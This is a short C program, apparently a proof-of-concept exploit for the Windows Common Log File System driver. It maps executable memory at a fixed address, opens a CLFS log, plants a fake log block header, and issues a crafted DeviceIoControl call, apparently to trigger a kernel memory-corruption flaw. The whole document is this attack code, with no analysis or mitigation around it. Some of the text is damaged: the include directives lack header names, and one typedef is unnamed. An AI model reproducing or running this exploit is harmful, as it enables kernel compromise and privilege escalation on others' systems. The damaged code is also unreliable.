#include #include #include #pragma comment(lib, "Clfsw32.lib") int main(void) { VirtualAlloc(/* lpAddress = */ (LPVOID)0x400000000000, /* dwSize = */ 0x1000000, /* flAllocationType = MEM_RESERVE | MEM_COMMIT */ 0x3000, /* flProtect = PAGE_EXECUTE_READWRITE */ 0x40); HANDLE hLog = INVALID_HANDLE_VALUE; hLog = CreateLogFile(/* pszLogFileName = */ L"LOG:C:\\Users\\Public\\MyLog_3::Logstream", /* DesiredAccess = STANDARD_RIGHTS_ALL */ 0x1f0000, /* ShareAccess = FILE_SHARE_WRITE */ 2, /* psaLogFile = */ 0, /* CreateDisposition = FILE_OPEN */ 1, /* FileAttributes = FILE_ATTRIBUTE_ARCHIVE */ 0x20); typedef struct CLFS_WRITE_RESTART_INPUT { ULONGLONG CursorOrPos; ULONGLONG Param1; ULONGLONG Param2; CLFS_LSN lsnBase; CLFS_LSN lsnNext; BYTE InternalFlag; }; typedef UCHAR CLFS_CLIENT_ID; typedef struct _CLFS_LOG_BLOCK_HEADER { UCHAR MajorVersion; UCHAR MinorVersion; UCHAR Usn; CLFS_CLIENT_ID ClientId; USHORT TotalSectorCount; USHORT ValidSectorCount; ULONG Padding; ULONG Checksum; ULONG Flags; CLFS_LSN CurrentLsn; CLFS_LSN NextLsn; ULONG RecordOffsets[16]; ULONG SignaturesOffset; } CLFS_LOG_BLOCK_HEADER, * PCLFS_LOG_BLOCK_HEADER; CLFS_WRITE_RESTART_INPUT cwr; cwr.CursorOrPos = 0x10001; cwr.lsnBase.Internal = 0; cwr.lsnNext.Internal = 0xffffffff00000000; cwr.InternalFlag = 8; PCLFS_LOG_BLOCK_HEADER bh = (PCLFS_LOG_BLOCK_HEADER)0x4000000001c0; bh->Usn = 0x99; bh->TotalSectorCount = 2; bh->ValidSectorCount = 2; DeviceIoControl(/*hLogFile=*/hLog, /*dwIoControlCode=*/0x8007281f, /*lpInBuffer=*/&cwr, /*nInBufferSize=*/sizeof(cwr), /*lpOutBuffer=*/(LPVOID)bh, /*nOutBufferSize=*/0xe18, /*lpBytesReturned=*/0, /*lpOverlapped=*/0); return 0; }